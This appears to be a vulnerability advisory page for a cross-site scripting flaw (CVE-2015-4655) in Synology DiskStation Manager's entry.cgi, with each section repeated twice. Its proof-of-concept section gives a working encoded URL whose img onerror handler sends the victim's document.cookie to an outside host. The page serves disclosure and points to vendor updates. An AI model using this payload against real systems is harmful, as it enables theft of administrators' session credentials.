Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
BID:74811
Info
Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
| Bugtraq ID: | 74811 |
| Class: | Input Validation Error |
| CVE: |
CVE-2015-4655 |
| Remote: | Yes |
| Local: | No |
| Published: | May 25 2015 12:00AM |
| Updated: | Jul 15 2015 12:38AM |
| Credit: | Han Sahin |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
Synology DiskStation Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Synology DiskStation Manager 5.2-5565 is vulnerable.
Synology DiskStation Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Synology DiskStation Manager 5.2-5565 is vulnerable.
Exploit / POC
Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
An attacker can exploit this issue by enticing an unsuspecting user into visiting a specially crafted URL.
The following example URI is available:
http://www.example.com:5000/webapi/entry.cgi?compound=%5B{%22api%22%3a%22%3Cimg+src%3dx+onerror%3dthis.src%3d%27https%3a//www.securify.nl/%3fc%3d%27%2bdocument.cookie%3E%22%2c%22method%22%3a%22status%22%2c%22version%22%3a1}%2c{%22api%22%3a%22SYNO.Core.System.Utilization%22%2c%22method%22%3a%22get%22%2c%22version%22%3a1%2c%22type%22%3a%22current%22%2c%22resource%22%3a%5B%22cpu%22%2c%22memory%22%2c%22network%22%5D}%5D&api=SYNO.Entry.Request&method=request&version=1
An attacker can exploit this issue by enticing an unsuspecting user into visiting a specially crafted URL.
The following example URI is available:
http://www.example.com:5000/webapi/entry.cgi?compound=%5B{%22api%22%3a%22%3Cimg+src%3dx+onerror%3dthis.src%3d%27https%3a//www.securify.nl/%3fc%3d%27%2bdocument.cookie%3E%22%2c%22method%22%3a%22status%22%2c%22version%22%3a1}%2c{%22api%22%3a%22SYNO.Core.System.Utilization%22%2c%22method%22%3a%22get%22%2c%22version%22%3a1%2c%22type%22%3a%22current%22%2c%22resource%22%3a%5B%22cpu%22%2c%22memory%22%2c%22network%22%5D}%5D&api=SYNO.Entry.Request&method=request&version=1
Solution / Fix
Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Synology DiskStation Manager 'entry.cgi' Cross Site Scripting Vulnerability
References:
References: